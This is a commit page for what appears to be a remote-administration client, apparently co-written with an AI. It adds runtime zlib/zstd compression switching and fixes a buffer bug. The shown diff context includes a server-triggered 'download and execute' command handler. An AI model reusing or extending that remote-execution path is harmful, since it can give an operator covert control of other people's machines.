Feature: update zlib to 1.4 and pick wire compression at runtime
The client selected zlib or zstd for the wire protocol at compile time (USING_ZLIB), so changing the mode required a rebuild, and the vendored zlib was still 1.3.2. Vendored zlib is now 1.4 (headers and both static libs rebuilt from the upstream source root). The client links zlib and zstd together and reads settings\compress from its own registry key when a connection is created: "zlib" selects zlib, anything else keeps the zstd default. Every connection reads it once, so sub-connections follow the main link. The online list context menu gains "Experimental -> Wire compression: ZSTD / ZLIB". It sends COMMAND_SET_COMPRESS (181) only to hosts that declare CLIENT_CAP_COMPRESS_SWITCH; the client persists the choice and restarts its connection thread, so the new mode applies in about two seconds without restarting the process. The online-info tooltip now marks the negotiated algorithm with [ZSTD] / [ZLIB] / [NONE]. Also fixes zlib buffer sizing on both ends: 1.001n+12 is one byte short of compressBound for packets under about 1 KB, which silently dropped small commands. Verified: both modes connect and receive MasterSettings; menu switching to zlib and back reconnects in each mode; Debug/Release x64, Release x86, ServerDll and server builds pass. Co-Authored-By: deepseek-flash
This commit is contained in:
1 parent
340fb20518
commit
0e20e0bbdb
20 files changed
+303
-84
No files matched your search
@@ -1126,6 +1126,33 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
|
||||
break;
|
||||
}
|
||||
|
||||
case COMMAND_SET_COMPRESS: {
|
||||
// 线缆压缩切换(zstd / zlib):写本机配置后重启 StartClient 线程。
|
||||
// 注意不能只断开当前连接:IOCPClient 的压缩模式在构造时读取,复用旧实例重连
|
||||
// 不会重新读配置。置 S_CLIENT_UPDATE 让 StartClientApp 重建连接对象。
|
||||
std::string mode;
|
||||
if (ulLength > 1)
|
||||
mode.assign((const char*)szBuffer + 1, ulLength - 1);
|
||||
while (!mode.empty() && (mode.back() == '\0' || mode.back() == ' ' ||
|
||||
mode.back() == '\r' || mode.back() == '\n'))
|
||||
mode.pop_back();
|
||||
for (size_t i = 0; i < mode.size(); ++i) {
|
||||
if (mode[i] >= 'A' && mode[i] <= 'Z')
|
||||
mode[i] = (char)(mode[i] - 'A' + 'a');
|
||||
}
|
||||
if (mode != "zlib" && mode != "zstd") {
|
||||
Mprintf("[compress-switch] unsupported mode '%s', ignored\n", mode.c_str());
|
||||
break;
|
||||
}
|
||||
if (m_cfg)
|
||||
m_cfg->SetStr("settings", "compress", mode);
|
||||
Mprintf("[compress-switch] set to %s, restarting client\n", mode.c_str());
|
||||
g_bExit = S_CLIENT_UPDATE;
|
||||
if (m_ClientObject)
|
||||
m_ClientObject->Disconnect();
|
||||
break;
|
||||
}
|
||||
|
||||
case COMMAND_DOWN_EXEC: {
|
||||
std::thread(DownExecute, std::string((char*)szBuffer + 1), this).detach();
|
||||
break;
|
||||
|
||||
Reference in new issue
Block a user